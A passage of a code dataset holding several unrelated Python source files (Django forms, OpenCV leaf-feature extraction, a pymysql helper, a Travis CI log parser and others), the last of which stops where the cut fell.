{"seq_id":"27457545810","text":"import os\nfrom  PIL import Image as im\nimport pandas as pd\n\nlocation = os.path.dirname(__file__)\nos.chdir(location)\nphoto_folder=location+'\\\\Pics'\n\nphoto_list = os.listdir(photo_folder)\nMain=im.open('Pics\\\\'+ photo_list[-1])\n\ndef img_ref_assigner(refno):\n    for photo in photo_list:\n        if str(refno) in photo:\n            return (photo[:1])\n            break\n\ndef photo_selector(img_ref):\n    if img_ref == None: #Thus photo_selector should not return anything\n        return None\n    else:\n        for photo in photo_list:\n            if photo[:1] == img_ref:\n                return(photo)\n            else:\n                continue\n\nclass Component:\n    def __init__(self,name,description,ref_no):\n        self.name =  name\n        self.ds =  description\n        self.refno = ref_no\n        self.img_ref = img_ref_assigner(ref_no)\n\n    def image(self):\n        photo_name = photo_selector(self.img_ref)\n        if photo_name == None:\n            print('NO ASSOCIATED PICTURE, NOT TESTED') #And no photo.\n        else:\n            img_file = im.open('Pics\\\\'+ photo_name)\n            img_file.show()\n\n\n#Initialization Sequence\ndata = pd.read_csv(\"Component Data.csv\")\n\nName_list_1 = data.iloc[:,0]\nName_list = Name_list_1.values.tolist()\n\nuntested_bool = data['Ref.']=='-'\nUntested_list = data[untested_bool].iloc[:,0].reset_index()\n\ntested_bool = data['Ref.']!='-'\nTested_list = data[tested_bool].iloc[:,0].reset_index()\n\nComponent_list=[]\nindex = data.index\n\nComponent_count = 0\nfor i in index: #Create list of components\n    Component_list.append(Component(data.iloc[i,0],data.iloc[i,1],data.iloc[i,2]))\n    Component_count += 1\nprint(Component_count, 'Components created')\n\n","repo_name":"LucasLWH/MS2_Trainer","sub_path":"Program_Backend.py","file_name":"Program_Backend.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24217693841","text":"from django import forms\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.forms import ModelForm, Textarea\nfrom django.contrib.auth.models import User\nimport re\n\n\nclass SignUpForm(UserCreationForm):\n    email = forms.EmailField()\n    userBio = forms.CharField(widget=forms.Textarea(), max_length=1000)\n    def clean_email(self):\n        email = self.cleaned_data[\"email\"]\n        if User.objects.filter(email=email).exists():\n            raise forms.ValidationError('Email already in use')\n        return email\n\n    def __init__(self, *args, **kwargs):\n        super(SignUpForm, self).__init__(*args, **kwargs)\n        self.fields['username'].widget.attrs.update({'class': 'form-control', 'placeholder': 'Your Username'})\n        self.fields['email'].widget.attrs.update({'class': 'form-control', 'placeholder': 'Your Email'})\n        self.fields['password1'].widget.attrs.update({'class': 'form-control', 'placeholder': 'Your Password'})\n        self.fields['password2'].widget.attrs.update({'class': 'form-control', 'placeholder': 'Confirm Password'})\n        self.fields['userBio'].widget.attrs.update({'class': 'form-control', 'placeholder': 'Tell us about yourself'})\n\nclass EditProfileForm(forms.Form):\n    firstName = forms.CharField(max_length=50, required=False)\n    lastName = forms.CharField(max_length=50, required=False)\n    username = forms.CharField(disabled=True)\n    email = forms.EmailField()\n    profile_img = forms.ImageField(required=False)\n    userBio = forms.CharField(widget=forms.Textarea(), max_length=1000, required=False)\n    def clean_email(self):\n        email = self.cleaned_data[\"email\"]\n        if User.objects.filter(email=email).exists():\n            raise forms.ValidationError('Email already in use')\n        return email\n    def __init__(self, *args, **kwargs):\n        super(EditProfileForm, self).__init__(*args, **kwargs)\n        self.fields['firstName'].widget.attrs.update({'class': 'form-control',})\n        self.fields['lastName'].widget.attrs.update({'class': 'form-control',})\n        self.fields['username'].widget.attrs.update({'class': 'form-control',})\n        self.fields['profile_img'].widget.attrs.update({'style':'display:none;', 'id':'profile_img', 'onchange':\"document.getElementById('blah').src = window.URL.createObjectURL(this.files[0])\"})\n        self.fields['email'].widget.attrs.update({'class': 'form-control', 'placeholder': 'Your Email'})        \n        self.fields['userBio'].widget.attrs.update({'class': 'form-control', 'placeholder': 'Tell us about yourself'})\n    \n    class Meta:\n        model = User\n        fields = ('firstName', 'lastName', 'username', 'email', 'userBio', )\n        widgets = {\n            'userBio': forms.Textarea(attrs={'class': 'form-control', 'placeholder': 'Your Email'}),\n            'email': forms.EmailInput(attrs={'class': 'form-control', 'placeholder': 'Your Email'}),\n        }\nclass CommentForm(forms.Form):\n    text = forms.CharField(widget=forms.Textarea(), max_length=1000,)\n    PollId = forms.CharField(max_length=100)","repo_name":"khuranadhruv18/discourz","sub_path":"discourz/discourz/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"29278404119","text":"import logging\n\nimport cyrusbus\nfrom gi.repository import Gtk\n\nimport application.event\nfrom application.note import NoteOpened\n\n\nclass WindowTitleHandler(object):\n    \"\"\"Controls the title of a Gtk.Window.\"\"\"\n\n    def __init__(\n            self,\n            bus: cyrusbus.bus.Bus,\n            window: Gtk.Window,\n    ):\n        self.log = logging.getLogger('{m}.{c}'.format(m=self.__class__.__module__, c=self.__class__.__name__))\n        self.window = window\n\n        bus.subscribe(application.event.APPLICATION_TOPIC, self.on_application_event)\n\n        self.set_title(None)\n\n    def on_application_event(self, bus, event):\n        self.log.debug(u'Event received: {event}'.format(event=event))\n\n        if isinstance(event, NoteOpened):  # type: NoteOpened\n            self.set_title(event.note)\n        else:\n            self.log.debug(u'Unhandled event: {event}'.format(event=event))\n\n    def set_title(self, note):\n        if note is not None:\n            self.window.set_title('WMS Notes - {title}'.format(title=note.title))\n        else:\n            self.window.set_title('WMS Notes')\n","repo_name":"scheleaap/wmsnotes-desktop-python","sub_path":"src/main/ui/window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"5743551255","text":"\"\"\"Edge detection.\"\"\"\n\nfrom nmigen import *\nfrom nmigen.build import *\n\n\nclass Detector(Elaboratable):\n    \"\"\"Basic rising and falling detector.\"\"\"\n\n    def __init__(self, input: Signal):\n        super().__init__()\n        assert input.width == 1\n        self.input = input\n        self.rose = Signal()\n        self.fell = Signal()\n\n    def elaborate(self, _: Platform) -> Module:\n        m = Module()\n        last = Signal()\n        m.d.sync += last.eq(self.input)\n        m.d.comb += self.rose.eq(self.input & ~last)\n        m.d.comb += self.fell.eq(~self.input & last)\n        return m\n","repo_name":"sjolsen/nmigen-nexys","sub_path":"core/edge.py","file_name":"edge.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"}
{"seq_id":"2529856581","text":"from CONF import POPULATION_BASE_PATH, SIMULATION_TIME\nfrom models import *\nfrom plotting import *\n\nPLOT_DERIVATIVES = False\nPLOT_LINTHRESH = False  # 10 ** -4\nBOXPLOT_LINTHRESH = 1e-4\n\n\ndef main(fit=True, plot=False):\n\n    checkpoint_filename = False  # './HEALTHY_CHECKPOINT'\n    model = Healthy_combined_fit()\n    model.apply()\n    y0 = model.target_as_y0()\n    t0 = 0\n    T = SIMULATION_TIME\n\n    if fit:\n        model['name'] = 'S_000'\n        model, fitness_history = model.optimize(y0, t0, T, save_checkpoint_name=checkpoint_filename)\n        model.save(POPULATION_BASE_PATH + 'S_000')\n    else:\n        model = model.load(POPULATION_BASE_PATH + 'S_000')\n\n    if plot:\n        print_title(\"STEP 01: healthy fit on average target data\", 'STEP 01')\n        plot_fitness(model['fitness_history'], model['name'], base='generations')\n        plot_fitness(model['fitness_history'], model['name'], base='time')\n        model.apply()\n        plot_parameters([model])\n        plot_model(model, model.target_as_y0(), t0, T,\n                   linthresh=PLOT_LINTHRESH)\n\n        lesions = [model.lesion_LDA(), model.lesion_LNE(), model.lesion_L5HT(),\n                   model.lesion_LDA_LNE(), model.lesion_LDA_L5HT()]\n\n        for model in lesions:\n            plot_parameters([model, model], linthresh=BOXPLOT_LINTHRESH)\n            plot_model(model, model.target_as_y0(), t0, T, linthresh=PLOT_LINTHRESH)\n\n        plt.show()\n\n\nif __name__ == '__main__':\n    main(fit=True, plot=False)\n","repo_name":"WohthaN/Simulating_noradrenaline_and_serotonin_depletions_in_parkinson","sub_path":"nonlinear_model/s01_subject_zero.py","file_name":"s01_subject_zero.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"43302251133","text":"from initialization.config import *\nfrom initialization.initialization import *\n\nimport numpy as np\nimport pandas as pd\nimport os\n\nimport matplotlib.pyplot as plt\nimport plotly.graph_objects as go\n\n\nplt.rcParams.update({\n    \"figure.facecolor\":  (1.0, 1.0, 1.0, 1.0),\n    \"axes.facecolor\":    (1.0, 1.0, 1.0, 1.0),\n    \"savefig.facecolor\": (1.0, 1.0, 1.0, 1.),\n    \"figure.figsize\":    (10,10),\n    \"font.size\": 12\n})\n\ndef visualize_filtering(df, filt_counts, plot_by='xy'):\n\n    assert 'included' in df.columns, 'visualize_filtering() must be run on filtered dataframe'\n\n    if plot_by == 'xy':\n        x_name = 'x_um'\n        y_name = 'y_um'\n        color_by = 'rip_L'\n        x_label='x position (microns)'\n        y_label='y position (microns)'\n\n    elif plot_by == 'pca':\n        x_name = 'PC1'\n        y_name = 'PC2'\n        color_by = 'label'\n        x_label='PC1'\n        y_label='PC2'\n\n    elif (plot_by == 'tsne' or plot_by == 'tSNE'):\n\n        x_name = 'tSNE1'\n        y_name = 'tSNE2'\n        color_by = 'label'\n        x_label='tSNE1'\n        y_label='tSNE2'\n\n    elif plot_by == 'umap':\n\n        x_name = 'UMAP1'\n        y_name = 'UMAP2'\n        color_by = 'label'\n        x_label = 'UMAP1'\n        y_label = 'UMAP2'\n\n    fig, (ax1, ax2) = plt.subplots(nrows=1, ncols=2, figsize=[20,10])\n\n    df_filt = df[df['included'] == True]\n\n    ax1.scatter(x=df[x_name], y=df[y_name], color='gray', s=0.5)\n    ax1.scatter(x=df_filt[x_name], y=df_filt[y_name], c=df_filt[color_by], s=5) #\n    ax1.set_xlabel(x_label)\n    ax1.set_ylabel(y_label)\n\n    filt_cond = ['Pre-filtering']\n    counts = [len(df['uniq_id'].unique())]\n\n    for filt in filt_counts:\n        filt_cond.append(filt[0])\n        counts.append(filt[1])\n\n    filt_cond.append('Post-filtering')\n    counts.append(len(df_filt['uniq_id'].unique()))\n\n    ax2.bar(filt_cond,counts)\n    ax2.set_ylabel('Number of cells')\n\n    return fig\n\n\ndef visualize_filt_loss():\n\n    # Labels as names of exported dataframes\n    labels = ['comb_df',\n          'mig_df',\n          'dr_df-prefilt',\n          'dr_df_filt']\n\n    # Add the programatically generated names for the filtered outputs\n    # From the DATA_FILTERS dictionary\n    for i,factor in enumerate(DATA_FILTERS.keys()):\n        labels.append('filt_'+str(i)+'-'+factor)\n\n    # Load each of the DataFrames into a list\n    df_list = []\n    for label in labels:\n        df_list.append(pd.read_csv(DATA_OUTPUT + label+'.csv'))\n\n    # Set up the subplot figure.\n    fig = make_subplots(\n        rows=2, cols=len(df_list),\n    #     subplot_titles=(labels),\n        specs=[[{} for _ in range(len(df_list))],\n                [{'colspan': len(df_list)}, *[None for _ in range(len(df_list)-1)]]])\n\n    count = []\n\n    for i, df in enumerate(df_list): #enumerate here to get access to i\n        label=labels[i]\n        count.append(len(df.index))\n\n        fig.add_trace(go.Scatter(x=df['x'],\n                                 y=df['y'],\n                                opacity=0.5),\n                  row=1,\n                  col=i+1)\n\n    fig.add_trace(go.Scatter(x=labels, y=count),\n                  row=2, col=1)\n\n    fig.update_yaxes(rangemode=\"tozero\")\n    fig.update_xaxes(tickangle=-90)\n    fig.update_layout(showlegend=False)\n\n    if STATIC_PLOTS:\n        fig.write_image(PLOT_OUTPUT+'filter_loss.png')\n\n    if PLOTS_IN_BROWSER:\n        fig.show()\n","repo_name":"Michael-shannon/cellPLATO","sub_path":"cellPLATO/cellPLATO/visualization/filter_visualization.py","file_name":"filter_visualization.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"5078798281","text":"import logging\nimport re\nfrom threading import Lock\n\nimport pymysql\n\n\nclass Database(object):\n    cache_torrent_name = []\n    _commit_lock = Lock()\n\n    def __init__(self, host, port, user, password, db):\n        self.db = pymysql.connect(host=host, port=port, user=user, password=password, db=db,\n                                  charset='utf8', autocommit=True)\n\n        self.col_seed_list = [i[0] for i in self.exec(\"SHOW COLUMNS FROM `seed_list`\", fetch_all=True)]\n\n    # Based Function\n    def exec(self, sql: str, args=None, r_dict: bool = False, fetch_all: bool = False, ret_rows: bool = False):\n        with self._commit_lock:\n            cursor = self.db.cursor(pymysql.cursors.DictCursor) if r_dict else self.db.cursor()  # Cursor type\n            row = cursor.execute(sql, args)\n            data = cursor.fetchall() if fetch_all else cursor.fetchone()  # The lines of return info (one or all)\n            logging.debug(\n                \"Success, DDL: \\\"{sql}\\\",args:\\\"{args}\\\",Affect rows: {row}\".format(sql=sql, args=(args or \"\"),\n                                                                                    row=row))\n\n        return (row, data) if ret_rows else data\n\n    # Procedure Oriented Function\n    def get_max_in_seed_list(self, column_list: list or str) -> int:\n        \"\"\"Find the maximum value of the table in a list of column from the database\"\"\"\n        if isinstance(column_list, str):\n            column_list = [column_list]\n        field = \", \".join([\"MAX(`{col}`)\".format(col=c) for c in column_list])\n        raw_result = self.exec(sql=\"SELECT {fi} FROM `seed_list`\".format(fi=field))\n        max_num = max([i for i in raw_result if i is not None] + [0])\n        logging.debug(\"Max number in column: {co} is {mn}\".format(mn=max_num, co=column_list))\n        return max_num\n\n    def get_data_clone_id(self, key, site) -> None or int:\n        clone_id = None\n\n        key = pymysql.escape_string(re.sub(r\"[_\\-. ]\", \"%\", key))\n        sql = \"SELECT `{site}` FROM `info_list` WHERE `search_name` LIKE '{key}'\".format(site=site, key=key)\n        try:  # Get clone id info from database\n            clone_id = int(self.exec(sql=sql)[0])\n        except TypeError:  # The database doesn't have the search data, Return dict only with raw key.\n            logging.warning(\n                \"No record for key: \\\"{key}\\\" in \\\"{site}\\\". Or may set as `None`\".format(key=key, site=site)\n            )\n\n        return clone_id\n\n    def upsert_seed_list(self, torrent_info: tuple):\n        tid, name, tracker = torrent_info\n        raw_sql = (\"INSERT INTO `seed_list` (`title`,`{cow}`) \"\n                   \"VALUES (%(name)s,%(id)s) \"\n                   \"ON DUPLICATE KEY UPDATE `{cow}`=VALUES(`{cow}`)\".format(cow=tracker))\n        return self.exec(sql=raw_sql, args={\"name\": name, \"id\": tid})\n","repo_name":"Rhilip/Pt-Autoseed","sub_path":"utils/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":2818,"program_lang":"python","lang":"en","doc_type":"code","stars":218,"dataset":"github-code","pt":"18"}
{"seq_id":"6851629501","text":"from Bio import SeqIO\nimport argparse\nparser= argparse.ArgumentParser(add_help=False)\nparser.add_argument(\"-h\", \"--help\", action=\"help\", default=argparse.SUPPRESS, help= \"Get specific fasta from multifasta (-f) by partial ids in a list (-l)\")\nparser.add_argument(\"-f\", help= \"-f: multifasta file\", required = \"True\")\nparser.add_argument(\"-l\", help= \"-l: list of partial ids\", required = \"True\")\nparser.add_argument(\"-o\", help= \"-o: output file\", required = \"True\")\n\nargs = parser.parse_args()\n\ndna_records = []\ninput_patterID=open(args.l)\nfile=input_patterID.read().splitlines()\nfor seq in SeqIO.parse(args.f,\"fasta\"):\n        for line in file:\n                if line in seq.id:\n                        dna_records.append(seq)\nSeqIO.write(dna_records, args.o,\"fasta\")\nprint(\"all done\")\n","repo_name":"marcelauliano/phython_scripts","sub_path":"get_Fasta_byPartial_id.py","file_name":"get_Fasta_byPartial_id.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"}
{"seq_id":"15665403742","text":"import cv2 as cv\nimport numpy as np\nimport os\nimport multiprocessing\nimport threading\nimport csv\n\ncsv_lock = threading.Lock()\n\n\ndef lighten_non_tinted(img):\n    for r in range(img.shape[0]):\n        for c in range(img.shape[1]):\n            p = img[r, c]\n            channelMax = np.max(p)\n            channelMin = np.min(p)\n            channelSum = np.sum(p)\n            if channelMax - channelMin < 10 and channelSum > 275:\n                img[r, c] = (255, 255, 255)\n\n\ndef create_radial_shadow_mask(h, w, radius=None, center=None):\n    # based on https://stackoverflow.com/a/44874588\n    if center is None:  # use the middle of the image\n        center = (int(h / 2), int(w / 2))\n    if radius is None:  # use the smallest distance between the center and image walls\n        radius = min(center[0], center[1], h - center[0], w - center[1])\n\n    Y, X = np.ogrid[:h, :w]\n    dist_from_center = np.sqrt((X - center[1]) ** 2 + (Y - center[0]) ** 2)\n\n    mask = dist_from_center / dist_from_center[center[0] - radius, center[1]]\n    return mask\n\n\ndef find_dominant_color(img, mask=None):\n    a2D = img.reshape(-1, img.shape[-1])\n    col_range = (256, 256, 256)\n    a1D = np.ravel_multi_index(a2D.T, col_range)\n    frequencies = np.bincount(a1D, mask if mask is None else mask.flatten())\n    return np.array(np.unravel_index(frequencies.argmax(), col_range))\n\n\ninput_folder = \"../data/original\"\noutput_folder = \"../data/final\"\n\n\ndef process_image(image):\n    i, target_class, example_name = image\n    print(i, target_class, example_name)\n    img = cv.imread(os.path.join(input_folder, target_class, example_name))\n\n    demo = False\n    if demo:\n        height, width, _ = img.shape\n        img = cv.resize(img, (int(width * 512 / height), 512))\n\n    radial_shadow_mask = create_radial_shadow_mask(*img.shape[:2])\n    background_color = find_dominant_color(img, radial_shadow_mask)\n    if demo:\n        cv.imshow(\"Color weight mask\", radial_shadow_mask)\n\n    radial_spotlight_mask = None\n    with np.errstate(divide=\"ignore\"):\n        radial_spotlight_mask = 1 / radial_shadow_mask\n    foreground_color = find_dominant_color(img, radial_spotlight_mask)\n\n    # TODO\n    # CEA for color boundaries\n    # try to use with lighthen non-tinted\n    # gather more data about the leaf edges\n    # gather all the dominant leaf colors\n    # gather texture information\n\n    foreground_mask = cv.inRange(img, foreground_color * 0.6, foreground_color * 1.4)\n    if demo:\n        cv.imshow(\"Masked background\", foreground_mask)\n\n    background_mask = cv.inRange(img, background_color * 0.7, background_color * 1.4)\n    if demo:\n        cv.imshow(\"Masked foreground\", background_mask)\n\n    blur_amount = int(img.shape[0] * 0.0025)\n    blured_mask = cv.blur(background_mask, (blur_amount, blur_amount))\n    if demo:\n        cv.imshow(\"Masked foreground + blur\", blured_mask)\n\n    _, thresh = cv.threshold(blured_mask, 127, 255, 0)\n    contours, _ = cv.findContours(thresh, cv.RETR_TREE, cv.CHAIN_APPROX_NONE)\n    contour = sorted(contours, key=cv.contourArea)[-min(2, len(contours))]\n    if demo:\n        cv.imshow(\"Original\", img)\n\n    to_save = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n    to_save = cv.cvtColor(to_save, cv.COLOR_GRAY2BGR)\n    contour_width = blur_amount\n    cv.drawContours(to_save, contour, -1, (255, 0, 0), contour_width)\n\n    x, y, w, h = cv.boundingRect(contour)\n    aspect_ratio = h / w\n    cv.rectangle(to_save, (x, y), (x + w, y + h), (0, 255, 0), contour_width)\n\n    contourPerimeter = cv.arcLength(contour, True)\n    contourArea = cv.contourArea(contour)\n    ellipse = cv.fitEllipse(contour)\n    a, b = ellipse[1][0] / 2, ellipse[1][1] / 2\n    ellipsePerimeter = np.pi * (3 * (a + b) - np.sqrt((3 * a + b) * (a + 3 * b)))\n    cv.ellipse(to_save, ellipse, (0, 0, 255), contour_width)\n\n    smoothness = ellipsePerimeter / contourPerimeter\n\n    boxArea = w * h\n    shape_density = contourArea / boxArea\n\n    roundness = a / b\n\n    dir = os.path.join(output_folder, target_class)\n    if not os.path.isdir(dir):\n        os.mkdir(dir)\n    cv.imwrite(os.path.join(dir, example_name), to_save)\n\n    with csv_lock:\n        with open(\n            os.path.join(output_folder, \"dataset.csv\"), \"a\", encoding=\"UTF8\", newline=\"\"\n        ) as f:\n            writer = csv.writer(f)\n            writer.writerow(\n                (\n                    example_name,\n                    aspect_ratio,\n                    smoothness,\n                    shape_density,\n                    roundness,\n                    foreground_color[-1],\n                    foreground_color[-2],\n                    foreground_color[-3],\n                    target_class,\n                )\n            )\n\n    if demo:\n        cv.imshow(\"Final\", to_save)\n        cv.waitKey()\n\n\nif __name__ == \"__main__\":\n    if not os.path.isdir(output_folder):\n        os.mkdir(output_folder)\n\n    header = (\n        \"example\",\n        \"aspect_ratio\",\n        \"smoothness\",\n        \"shape_density\",\n        \"roundness\",\n        \"primary_red\",\n        \"primary_green\",\n        \"primary_blue\",\n        \"target\",\n    )\n\n    with open(\n        os.path.join(output_folder, \"dataset.csv\"), \"w\", encoding=\"UTF8\", newline=\"\"\n    ) as f:\n        writer = csv.writer(f)\n        writer.writerow(header)\n\n    tested_example = None  # \"data/test/ficus/20150622_121546.jpg\"\n    if tested_example is not None:\n        process_image((0, *os.path.normpath(tested_example).split(os.path.sep)[-2:]))\n    else:\n        images = []\n        i = 0\n        for path, subdirs, files in os.walk(input_folder):\n            for name in files:\n                # if i < 0 or i > 10:\n                #     continue\n                images.append((i, os.path.basename(path), name))\n                new_path = os.path.join(output_folder, images[-1][1])\n                if not os.path.isdir(new_path):\n                    os.mkdir(new_path)\n                i += 1\n\n        with multiprocessing.Pool(multiprocessing.cpu_count()) as pool:\n            result = pool.map(process_image, images)\n            pool.close()\n            pool.join()\n","repo_name":"vrepetskyi/folio-case-study","sub_path":"source/extract-features.py","file_name":"extract-features.py","file_ext":"py","file_size_in_byte":6057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"318356563","text":"import logging\nimport re\n\nfrom travisshark.parsers.build_log_file_parser import BuildLogFileParser\n\nlogger = logging.getLogger(\"parser\")\n\n\nclass PythonBuildLogFileParser(BuildLogFileParser):\n    def __init__(self, log, debug_level, ignore_errors, job):\n        super().__init__(log, debug_level, ignore_errors, job)\n        self.errored_tests = set([])\n        self.failed_tests = set([])\n        self.test_framework = None\n        self.tests_run_completely = False\n\n        self._error_regex = re.compile(\"errors=(\\d*)\")\n        self._failures_regex = re.compile(\"failures=(\\d*)\")\n\n        self._error_pytest_regex = re.compile(\"(\\d*) error\")\n        self._failures_pytest_regex = re.compile(\"(\\d*) failed\")\n        self._test_method_name_pytest_regex = re.compile(\"_*\\s(\\S*)\\s_*\")\n        self._test_method_name_pytest_special_regex = re.compile(\"_*\\s(\\S*)\\s*_*\")\n        self._test_name_pytest_regex = re.compile(\"(\\S*):\\d*:\\s*\")\n        self._test_name_pytest_args_regex = re.compile(\"<(\\S*)\\stestMethod=(\\S*)>\")\n\n        self._test_name_errored_test_unittest_regex = re.compile(\"(\\w*)\\s\\((\\S*)\\)\\s\\.{3}\\sERROR\")\n        self._test_name_failed_test_unittest_regex = re.compile(\"(\\w*)\\s\\((\\S*)\\)\\s\\.{3}\\sFAILED\")\n\n        self._parse_failures_coverage_regex = re.compile(\"(\\d*)\\sFAILED.*\")\n        self._parse_errors_coverage_regex = re.compile(\"(\\d*)\\serror[^=]*\")\n\n        self._test_name_failed_test_unittest = re.compile(\"\\S*\\s*FAIL:\\s(\\S*)\\s\\((\\S*)\\)\")\n        self._test_name_failed_test2_unittest = re.compile(\"\\S*\\s*FAIL:\\s(\\S*)\")\n        self._test_name_failed_doctest_unittest = re.compile(\"\\S*\\s*FAIL: Doctest:\\s(\\S*)\")\n\n        self._test_name_errored_test_unittest = re.compile(\"\\S*\\s*ERROR:\\s(\\S*)\\s\\((\\S*)\\)\")\n        self._test_name_errored_test2_unittest = re.compile(\"\\S*\\s*ERROR:\\s(\\S*)\")\n\n        self._pytest_sugar_failed_tests = re.compile(\"\\s*(\\d*) failed\")\n        self._pytest_sugar_errored_tests = re.compile(\"\\s*(\\d*) error\\S*\")\n        self._pytest_sugar_test_name = re.compile(\"\\s*- (\\S*):\\d*\\s(\\S*)\")\n\n    def detect(self):\n        if 'language' in self.job.config and self.job.config['language'].lower() != \"python\":\n            return False\n\n        if self.check_if_list_is_in_job_config(self.job.config, ['python', 'pytest', 'nose', 'nosetests', 'py.test', 'pip']) \\\n                or ('language' in self.job.config and self.job.config['language'] == \"python\"):\n            self.logger.debug(\"Found Python build...\")\n            return True\n        return False\n\n    def _get_num_tests_based_on_regex(self, line, regex):\n        matches = re.search(regex, line)\n        if matches is not None:\n            if matches.group(1).strip():\n                return int(matches.group(1))\n        return 0\n\n    def parse(self):\n        summary_started = False\n        next_lines_must_be_parsed = False\n        _parsed_num_errored_tests = 0\n        _parsed_num_failed_tests = 0\n\n        # We need this and cannot use the len of self.failed_tests etc, as it can happen that the same error is thrown\n        # two times, which counts as two distinct errors in the summary of pytest\n        found_num_errored_tests = 0\n        found_num_failed_tests = 0\n\n        pytest_section = None\n        method_name_of_test = None\n\n        sugar_summary_started = False\n        started_pytest_sugar_failed_section = False\n        started_pytest_sugar_errored_section = False\n\n        find_failed_trial_test = False\n        find_errored_trial_test = False\n\n        log_lines = self.log.split(\"\\n\")\n        #log_lines = [line for line in log_lines if line.strip()]\n        for index, line in enumerate(log_lines):\n            line = line.replace(\"\\x1b[1m\", \"\").replace(\"\\x1b[31m\", \"\").replace(\"\\x1b[0m\", \"\").replace(\"\\x1b[32m\", \"\")\\\n                .replace(\"\\x1b[33m\", \"\").replace(\"\\x1b[36m\", \"\")\n            if \"======================================================================\" in line:\n                next_lines_must_be_parsed = True\n            elif next_lines_must_be_parsed and not line.startswith(\"[FAIL]\") and not line.startswith(\"[ERROR]\") and line.strip(\"\\r\"):\n                next_lines_must_be_parsed = False\n                print(line)\n                failed_matches = re.search(self._test_name_failed_test_unittest, line)\n                failed_matches_2 = re.search(self._test_name_failed_test2_unittest, line)\n                failed_doctest_matches = re.search(self._test_name_failed_doctest_unittest, line)\n                errored_matches = re.search(self._test_name_errored_test_unittest, line)\n                errored_matches_2 = re.search(self._test_name_errored_test2_unittest, line)\n\n                if failed_matches is not None and len(failed_matches.groups()) == 2:\n                    found_num_failed_tests += 1\n                    self.failed_tests.add(failed_matches.group(2)+\".\"+failed_matches.group(1))\n                elif failed_matches_2 is not None and \"Doctest:\" not in line:\n                    found_num_failed_tests += 1\n                    if not line.startswith(\"FAIL: Tests\") and not line.startswith(\"FAIL: Verify\"):\n                        self.failed_tests.add(failed_matches_2.group(1))\n                elif failed_doctest_matches is not None:\n                    found_num_failed_tests += 1\n                    self.failed_tests.add(failed_doctest_matches.group(1))\n                elif errored_matches is not None:\n                    found_num_errored_tests += 1\n                    self.errored_tests.add(errored_matches.group(2)+\".\"+errored_matches.group(1))\n                # It can happen that a line looks like this ERROR: test_cuts.test_node_cutset_random_graphs\n                elif errored_matches_2 is not None:\n                    # But also like this ERROR: Failure: AttributeError ('dict' object has no attribute 'iteritems')\n                    found_num_errored_tests += 1\n                    if \":\" not in errored_matches_2.group(1) and \".\" in errored_matches_2.group(1):\n                        self.errored_tests.add(errored_matches_2.group(1))\n            elif \"----------------------------------------------------------------------\" in line:\n                summary_started = True\n            elif summary_started and (\"FAILED (\" in line or \"tests passed)\" in line):\n                _parsed_num_errored_tests += self._get_num_tests_based_on_regex(line, self._error_regex)\n                _parsed_num_failed_tests += self._get_num_tests_based_on_regex(line, self._failures_regex)\n\n                _parsed_num_failed_tests += self._get_num_tests_based_on_regex(line, self._parse_failures_coverage_regex)\n                _parsed_num_errored_tests += self._get_num_tests_based_on_regex(line, self._parse_errors_coverage_regex)\n            elif summary_started and ((\"Ran\" in line and \"tests in\" in line) or\n                                          (\"tests run in\" in line and \"seconds\" in line)):\n                # Unittest summary\n                self.test_framework = \"unittest\"\n                self.tests_run_completely = True\n\n            elif line == \"[FAIL]\\r\":\n                find_failed_trial_test = True\n            elif line == \"[ERROR]\\r\":\n                find_errored_trial_test = True\n            elif line.startswith(\"[ERROR]: \") and \\\n                            log_lines[index-1] == \"===============================================================================\\r\":\n                found_num_errored_tests += 1\n                self.errored_tests.add(line.split(\" \")[-1].strip(\"\\r\"))\n            elif line.startswith(\"[FAIL]: \") and \\\n                            log_lines[index-1] == \"===============================================================================\\r\":\n                found_num_failed_tests += 1\n                self.failed_tests.add(line.split(\" \")[-1].strip(\"\\r\"))\n            elif find_errored_trial_test and \\\n                    (log_lines[index+1] == \"===============================================================================\\r\" or\n                    log_lines[index+1] == '-------------------------------------------------------------------------------\\r'):\n                find_errored_trial_test = False\n\n                i = index\n                while log_lines[i].strip(\"\\r\"):\n                    found_num_errored_tests += 1\n                    self.errored_tests.add(line.strip(\"\\r\"))\n                    i -=1\n            elif find_failed_trial_test and \\\n                    (log_lines[index+1] == \"===============================================================================\\r\" or\n                    log_lines[index+1] == '-------------------------------------------------------------------------------\\r'):\n                find_failed_trial_test = False\n\n                i = index\n                while log_lines[i].strip(\"\\r\"):\n                    found_num_failed_tests += 1\n                    self.failed_tests.add(line.strip(\"\\r\"))\n                    i -= 1\n\n            # From here on, everything is connected to pytest\n            elif \"=\" in line and \"seconds\" in line:\n                self.test_framework = \"pytest\"\n                self.tests_run_completely = True\n\n                _parsed_num_errored_tests += self._get_num_tests_based_on_regex(line, self._error_pytest_regex)\n                _parsed_num_failed_tests += self._get_num_tests_based_on_regex(line, self._failures_pytest_regex)\n            elif line == \"==================================== ERRORS ====================================\\r\" or \\\n                    (line.startswith(\"=\") and \"ERRORS\" in line and line.endswith(\"=\\r\")):\n                pytest_section = \"error\"\n                summary_started = True\n            elif line == \"=================================== FAILURES ===================================\\r\" or \\\n                    (line.startswith(\"=\") and \"FAILURES\" in line and line.endswith(\"=\\r\")):\n                pytest_section = \"failure\"\n                summary_started = True\n            # Here we execlude errors at setups, as this is not of intereset for us\n            elif \"ERROR at setup\" in line:\n                found_num_errored_tests += 1\n            elif 